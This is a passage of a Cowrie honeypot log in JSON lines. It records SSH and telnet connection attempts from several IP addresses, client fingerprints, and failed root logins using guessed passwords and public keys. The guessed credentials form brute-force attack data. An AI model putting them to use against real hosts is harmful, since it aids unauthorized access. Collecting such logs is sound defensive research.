a2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:10.081540Z","src_ip":"176.65.148.108","session":"bbd8f88d5f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:10.338813Z","src_ip":"176.65.148.108","session":"bbd8f88d5f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:11.425039Z","src_ip":"176.65.148.108","session":"bbd8f88d5f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69987392425537,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:12.476813Z","src_ip":"192.119.13.58","session":"45a26ec6c39d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":49266,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bfd4c17945c","protocol":"ssh","message":"New connection: 170.106.188.200:49266 (159.203.135.109:22) [session: 0bfd4c17945c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:13.440085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:13.445553Z","src_ip":"170.106.188.200","session":"0bfd4c17945c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:13.513876Z","src_ip":"170.106.188.200","session":"0bfd4c17945c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asus","message":"login attempt [root/asus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:13.817266Z","src_ip":"170.106.188.200","session":"0bfd4c17945c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:14.889611Z","src_ip":"170.106.188.200","session":"0bfd4c17945c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":54171,"dst_ip":"159.203.135.109","dst_port":22,"session":"abfc26701777","protocol":"ssh","message":"New connection: 103.219.170.37:54171 (159.203.135.109:22) [session: abfc26701777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:16.351649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:16.357753Z","src_ip":"103.219.170.37","session":"abfc26701777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:17.292346Z","src_ip":"103.219.170.37","session":"abfc26701777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rahul@123","message":"login attempt [root/Rahul@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:18.139165Z","src_ip":"103.219.170.37","session":"abfc26701777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:19.420738Z","src_ip":"103.219.170.37","session":"abfc26701777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":14796,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd3434a768ee","protocol":"ssh","message":"New connection: 38.93.206.2:14796 (159.203.135.109:22) [session: cd3434a768ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:23.708773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:23.714635Z","src_ip":"38.93.206.2","session":"cd3434a768ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:23.765718Z","src_ip":"38.93.206.2","session":"cd3434a768ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123654","message":"login attempt [root/q123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:23.931094Z","src_ip":"38.93.206.2","session":"cd3434a768ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:24.991477Z","src_ip":"38.93.206.2","session":"cd3434a768ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.210702896118164,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:25.091387Z","src_ip":"192.119.13.58","session":"0c8a2b6c728e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.85462045669556,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:27.884254Z","src_ip":"192.119.13.58","session":"8f480b3fac9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33398,"dst_ip":"10.17.0.5","dst_port":23,"session":"60860873a863","protocol":"telnet","message":"New connection: 192.119.13.58:33398 (10.17.0.5:23) [session: 60860873a863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:30.660434Z"}
{"eventid":"cowrie.session.closed","duration":36.86680746078491,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:36.463886Z","src_ip":"192.119.13.58","session":"e8892025c7a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":33208,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fa737e65a7d","protocol":"ssh","message":"New connection: 172.110.219.251:33208 (10.17.0.5:22) [session: 7fa737e65a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:40.533702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:40.538819Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:40.642636Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:9f:8a:b6:e3:32:99:34:01:ad:af:72:0c:88:03:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNf0qoKfkSB58X7Yh6a1q8FJ/YcuUoYW6rM/FYv1VebtA80kHSPIxUSTlyTopIYfGRjKrE1tZTcU0ujkl3iGMVcagxtwCQwOVCZzumgv7HjbZDlykedwBhphJTXfoiUzeRlIZrTzhFLFwzhueXkm8kTRyrPI2GPHJYXpy6WBfAINsAODRRK0sSw6Smhztdu/0FpfQ23x6DJWBdkPzqw5mAEHofrm+EKLMD1iOgmcr3VkYe7YchVwMguBxIoe8VYdkXtA3e4mqhE9Ka+K2X8l/z7nSR0AbsSpnhSAvRs9ztCh1bT4Ri1WxE85H8juWxnqPsmo1jLDGTeuGR0wyTBITP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:9f:8a:b6:e3:32:99:34:01:ad:af:72:0c:88:03:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.132861Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:9f:8a:b6:e3:32:99:34:01:ad:af:72:0c:88:03:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNf0qoKfkSB58X7Yh6a1q8FJ/YcuUoYW6rM/FYv1VebtA80kHSPIxUSTlyTopIYfGRjKrE1tZTcU0ujkl3iGMVcagxtwCQwOVCZzumgv7HjbZDlykedwBhphJTXfoiUzeRlIZrTzhFLFwzhueXkm8kTRyrPI2GPHJYXpy6WBfAINsAODRRK0sSw6Smhztdu/0FpfQ23x6DJWBdkPzqw5mAEHofrm+EKLMD1iOgmcr3VkYe7YchVwMguBxIoe8VYdkXtA3e4mqhE9Ka+K2X8l/z7nSR0AbsSpnhSAvRs9ztCh1bT4Ri1WxE85H8juWxnqPsmo1jLDGTeuGR0wyTBITP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.137874Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:50:d7:9f:cb:c3:3f:c3:1c:78:8e:03:81:08:2d:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClRPRE3W/IY31gOE1O0St32vMR66VyDaAA3SZpYrUZmpr+7z0zMCOR7HNIW0GYj+tXsS595McC0QdUzzjboWxFDppKXfiovFQhEaMpdPmnPXVMpEaEG5takjf3GBneGzRBkQDFi55S5pB0iNCfTcBiPcbmsOJj0RdzYjWX3Cor/bY2pK/A1ai7ehixVKx906hrzchHxalwkapD9vNLwNaX48Ppad7dXMdw22tRinmuT9KmtH1C5aKSsjLhh3BmMqcmFyhczNmubE7aOLQmUN9GymGYM0RQnqxEeW/qQo42+OWEbBdL/mK3oKJocHbhQEESnitX7qzMIiksmxCIgT+zNGwHQw+75BLdgRSA6ghKCvxhRwhRWKuKfYRoIyWtZ84wDBrbF9sjbeJP1vArEdYIBA9ROX6PP2L7xhLf58w34uvIOtDtX0HOatXnpZ1njwJ4Z0ZodfCOYWMD5N4qej2hYxJKEWLhmr+BZ+xpTWwTvVOcNOg7bQRBUYZJyGlXlrpEV9NspWvtqamvNk3TFKK0Od9FwgrEINXS4Xi0gFnTRcbxe0OEhGu1OvT/eZLW9ILFLBHcsxC6xNC1ktCPnh0cwp6TCyaNnmg7TjDuLjb7tDJRCzqAAnefFwO3uLXmQJ/EO24wPWE30vaujiwrZgeprtKXbI5z5kPjkt8Uv+rthw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:50:d7:9f:cb:c3:3f:c3:1c:78:8e:03:81:08:2d:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.241357Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:50:d7:9f:cb:c3:3f:c3:1c:78:8e:03:81:08:2d:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClRPRE3W/IY31gOE1O0St32vMR66VyDaAA3SZpYrUZmpr+7z0zMCOR7HNIW0GYj+tXsS595McC0QdUzzjboWxFDppKXfiovFQhEaMpdPmnPXVMpEaEG5takjf3GBneGzRBkQDFi55S5pB0iNCfTcBiPcbmsOJj0RdzYjWX3Cor/bY2pK/A1ai7ehixVKx906hrzchHxalwkapD9vNLwNaX48Ppad7dXMdw22tRinmuT9KmtH1C5aKSsjLhh3BmMqcmFyhczNmubE7aOLQmUN9GymGYM0RQnqxEeW/qQo42+OWEbBdL/mK3oKJocHbhQEESnitX7qzMIiksmxCIgT+zNGwHQw+75BLdgRSA6ghKCvxhRwhRWKuKfYRoIyWtZ84wDBrbF9sjbeJP1vArEdYIBA9ROX6PP2L7xhLf58w34uvIOtDtX0HOatXnpZ1njwJ4Z0ZodfCOYWMD5N4qej2hYxJKEWLhmr+BZ+xpTWwTvVOcNOg7bQRBUYZJyGlXlrpEV9NspWvtqamvNk3TFKK0Od9FwgrEINXS4Xi0gFnTRcbxe0OEhGu1OvT/eZLW9ILFLBHcsxC6xNC1ktCPnh0cwp6TCyaNnmg7TjDuLjb7tDJRCzqAAnefFwO3uLXmQJ/EO24wPWE30vaujiwrZgeprtKXbI5z5kPjkt8Uv+rthw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.245614Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:74:5a:5c:b2:f9:47:bb:59:cc:7a:b4:73:a5:28:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDatq94T5lI9xtaABb2xMGA2owpkJikCZrFuKHYqh18pX2qmw5GOuZlK+xhzmsO+dSqP3NIfk6rTKMZomf0qXGiOPHscJJ4M7MRGru7T/V/4N9kBwJxk5noisTpaRjvwStUeTYP8h52iah8jqGQOFjFtghxoURX0xnyeZfxBllzBqIo1bNcXc/3yjUHH9FfiEzGAlLSlRJUVjd531hd+DgcxH/btIlcHwF2k8+Ty/9rBdBfab12pv750ImaCBrZd5EQUDheoCOQsHj2Ubj2sP8SiQwRu0G+w459t6ipRhbZRzIepieOMBvm0t+AKWpvj4JMNd9W1XanAiwdBqCEBwqiaVyQLn5WP4uQ8jTkvzVAcg0dgXmpWzxlFknCEk2xo4bxzSZnmc9AMx+nu7FsdIB85PC886f6jAg17UGusJdOBgxH0B76TnCy79O/TA1ezI29PGYvwOEvyFUL67o1GIn0qKB7blw0UaZn/pB7f/YSwR8tjyzy7ZIYkgKN1xrNCJkPMdC7XomYSLgnCqEnFvN4B4wi08E0DoLjqp1ThnFFzzjZM3V9PRaPgd8VBx4XWj1+l/mV96SjJ1Lz5dt8vP4Os1oRvHFUmFE0KsBTTCzT0mI6fwIKh1u+cyRhKxDGB5vWcaUoiSumd0yndqboRikLn9UKQ5x/ofccJbazL3Xvkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:74:5a:5c:b2:f9:47:bb:59:cc:7a:b4:73:a5:28:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.351086Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:74:5a:5c:b2:f9:47:bb:59:cc:7a:b4:73:a5:28:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDatq94T5lI9xtaABb2xMGA2owpkJikCZrFuKHYqh18pX2qmw5GOuZlK+xhzmsO+dSqP3NIfk6rTKMZomf0qXGiOPHscJJ4M7MRGru7T/V/4N9kBwJxk5noisTpaRjvwStUeTYP8h52iah8jqGQOFjFtghxoURX0xnyeZfxBllzBqIo1bNcXc/3yjUHH9FfiEzGAlLSlRJUVjd531hd+DgcxH/btIlcHwF2k8+Ty/9rBdBfab12pv750ImaCBrZd5EQUDheoCOQsHj2Ubj2sP8SiQwRu0G+w459t6ipRhbZRzIepieOMBvm0t+AKWpvj4JMNd9W1XanAiwdBqCEBwqiaVyQLn5WP4uQ8jTkvzVAcg0dgXmpWzxlFknCEk2xo4bxzSZnmc9AMx+nu7FsdIB85PC886f6jAg17UGusJdOBgxH0B76TnCy79O/TA1ezI29PGYvwOEvyFUL67o1GIn0qKB7blw0UaZn/pB7f/YSwR8tjyzy7ZIYkgKN1xrNCJkPMdC7XomYSLgnCqEnFvN4B4wi08E0DoLjqp1ThnFFzzjZM3V9PRaPgd8VBx4XWj1+l/mV96SjJ1Lz5dt8vP4Os1oRvHFUmFE0KsBTTCzT0mI6fwIKh1u+cyRhKxDGB5vWcaUoiSumd0yndqboRikLn9UKQ5x/ofccJbazL3Xvkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.355783Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:55:75:6d:c4:91:d3:e5:77:54:10:8f:5d:2c:99:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwqVMQveRu7NXzUk4cR2UTDN4AbRoGJlzlIzguFU58YjEHh3G2gvwS1T0Po/btHjSL0WN6nqsTRYhDG9Vx5SBIJI+BWtdiRvR64sfjbN6A3/5u7pZ0xV89IyCu17PPfmofUHh3nUWqIcWyD9H9LhXctX/fjCR2IZWGRvcLgNMoj+OL+fjoYrlF7vx6cc5NiIgQbigAOtG+CpXggkjx773nRBB3WynwGp/oamK2vwe0jxLra/KQj4mqtT0Q+iSWJGdj4URXPSGpu9WhaebK/AGkFqjsqvPnojJY2u7oLFSHy3Tm0D/8qGul3Vy6BAPdU3Fh25iWaL3HFlizbtueirwl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:55:75:6d:c4:91:d3:e5:77:54:10:8f:5d:2c:99:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.488433Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:55:75:6d:c4:91:d3:e5:77:54:10:8f:5d:2c:99:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwqVMQveRu7NXzUk4cR2UTDN4AbRoGJlzlIzguFU58YjEHh3G2gvwS1T0Po/btHjSL0WN6nqsTRYhDG9Vx5SBIJI+BWtdiRvR64sfjbN6A3/5u7pZ0xV89IyCu17PPfmofUHh3nUWqIcWyD9H9LhXctX/fjCR2IZWGRvcLgNMoj+OL+fjoYrlF7vx6cc5NiIgQbigAOtG+CpXggkjx773nRBB3WynwGp/oamK2vwe0jxLra/KQj4mqtT0Q+iSWJGdj4URXPSGpu9WhaebK/AGkFqjsqvPnojJY2u7oLFSHy3Tm0D/8qGul3Vy6BAPdU3Fh25iWaL3HFlizbtueirwl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.493087Z","src_ip":"172.110.219.251","session":"7fa737e65a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.75172781944275,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:01:41.498643Z","src_ip":"192.119.13.58","session":"d937607ad268","protocol":"telnet"}
